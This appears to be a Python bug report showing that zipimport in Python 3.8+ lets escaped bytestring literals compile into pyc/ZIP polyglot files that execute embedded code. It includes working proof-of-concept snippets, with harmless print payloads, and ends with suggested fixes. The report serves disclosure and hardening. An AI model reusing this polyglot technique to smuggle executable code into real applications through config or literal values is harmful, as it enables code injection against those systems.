Python's zip file autodetection is overzealous.

It is possible to craft:

• Valid python string literals, which when placed into a source file, cause it to fail to load in Python 3.8+. example (warning, 33MB source file - padding was required to ensure that certain ZIP header length fields were null-free)

• Valid python bytestring literals, which when compiled into bytecode, cause the resultant pyc file to become a pyc/zip polyglot file. When this file is executed, it is treated as a ZIP file (via zipimport) rather than as a pyc file.

As a tweet-sized demonstration:

unused=b'\x50K\3\4'+b'\0'*26+b'+(\xca\xcc+\xd1P\xcfHL\xceNMQ\xc8\xc9\xcfQ\xd7\4\0PK\1\2'+b'\0'*6+b'\1'+b'\0'*9+b'\x15'+b'\0'*7+b'\13'+b'\0'*17+b'__\x6da\x69n__.\x70y\x50K\5\6'+b'\0'*8+b'9\0\0\0003\0\0\0'
i=__import__
i("runpy").run_path(i("py_compile").compile(__file__))

The expected behavior of this snippet is to compile its own source file into a .pyc file, and then run that pyc file. This is what happens in Python 3.7 and below (it will error out after the first layer of recursion, because __file__ will subsequently point at the .pyc file, which is not a valid python source file!). The "unused" variable remains unused.

Python 3.8's zipimport logic allows ZIP files to contain comments, and it does not verify the length of the comment field. The "unused" variable, when compiled to python bytecode, encodes a zip file containing a file named __main__.py with the contents print('hacked lol'). This sub-file gets executed during runpy.run_path.

As a slightly more real-world demonstration, consider a program which (for some godforsaken reason) decides to store its config in a python source file:

import py_compile
import runpy
# consider "config" to be an attacker-controlled value
if 0:
    # this works as you would expect
    config = b"blah"
else:
    # this does not... (but only on py3.8+)
    config = b"PK\x03\x04\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\xee\x0c\xac0\x11\x00\x00\x00\x11\x00\x00\x00\x0b\x00\x00\x00__main__.pyprint('EVIL!!!')\nPK\x01\x02\n\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\xee\x0c\xac0\x11\x00\x00\x00\x11\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__main__.pyPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x009\x00\x00\x00:\x00\x00\x00\x00\x00"
# write our config value into a source file
with open("config.py", "w") as cf:
    if not isinstance(config, bytes):
        raise TypeError("config value must be bytes")
    cf.write(f"config = {config!r}\n")  # we are writing a bytestring literal into a source file. Even though the values of the bytes are untrusted, we should be safe, right?
# compile our config file, for faster loading!
py_compile.compile("config.py", "config.pyc")
# load the config file, by executing it
loaded_config = runpy.run_path("config.pyc").get("config")
print("loaded config:", loaded_config)

It is unexpected to me that correctly escaped bytestring literals placed into a source file become executable code.

I'm not really sure how this situation could be improved, but I have a few suggestions:

• Make pyc parsing take precedence over ZIP parsing.
• Validate the structure of ZIP files more strictly (e.g. check that the comment length matches the length specified in the header)
• Do not allow ZIP files with a prefix. All "normal" ZIP files should start with a "local file header signature" (0x04034b50). It's possible for a valid ZIP file not to start with this, but I don't see any reason why someone would compress a python module like that.
• Consider not allowing ZIP files to have comments (like in versions prior to 3.8) - Is anyone actually using that feature?